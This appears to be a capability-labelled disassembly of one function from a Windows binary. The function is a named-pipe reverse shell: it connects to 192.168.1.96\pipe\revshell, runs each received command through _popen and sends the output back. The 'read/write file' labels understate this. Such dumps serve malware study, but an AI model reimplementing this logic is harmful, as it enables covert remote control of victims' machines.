Function at 0x140001070
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1fe0]
mov eax, 0x20e0
call fcn.140002000
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1fd0], rax
xor r14d, r14d
mov qword [rsp + 0x30], r14
lea rcx, str.192.168.1.96pipe_revshell
mov dword [rsp + 0x28], r14d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400010a4
xor r9d, r9d
mov dword [rsp + 0x44], 2
xor r8d, r8d
lea rdx, [rsp + 0x44]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x140001108
lea rcx, str.Failed_to_change_pipe_handle_properties
call fcn.140001010
jmp 0x1400012dd
xor edx, edx
mov qword [rsp + 0x20f8], rdi
mov r8d, 0x1000
lea rcx, [rbp + 0xfd0]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r14
mov r8d, 0x1000
lea rdx, [rbp - 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rdx, [0x140003308]
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
je 0x1400012c9
mov qword [rsp + 0x20f0], rbx
nop word [rax + rax]
xorps xmm0, xmm0
lea rcx, [rsp + 0x50]
mov r8, rdi
mov edx, 0x80
movups xmmword [rsp + 0x50], xmm0
mov ebx, r14d
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140001228
movsxd rax, ebx
sub rax, 0xffffffffffffff80
cmp rax, 0x1000
jae 0x140001228
lea r8, [rsp + 0x50]
mov edx, 0x1000
lea rcx, [rbp + 0xfd0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xorps xmm0, xmm0
lea rcx, [rsp + 0x50]
mov r8, rdi
mov edx, 0x80
movups xmmword [rsp + 0x50], xmm0
sub ebx, 0xffffff80
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x1400011c1
lea rax, [rbp + 0xfd0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x140001236
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r14
lea rdx, [rbp + 0xfd0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor edx, edx
lea rcx, [rbp + 0xfd0]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r14
mov r8d, 0x1000
lea rdx, [rbp - 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
lea rdx, [0x140003308]
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
jne 0x140001180
mov rbx, qword [rsp + 0x20f0]
lea rcx, str.Failed_to_use_popen
call fcn.140001010
mov rdi, qword [rsp + 0x20f8]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x1fd0]
xor rcx, rsp
call fcn.140001320
lea r11, [rsp + 0x20e0]
mov rsi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret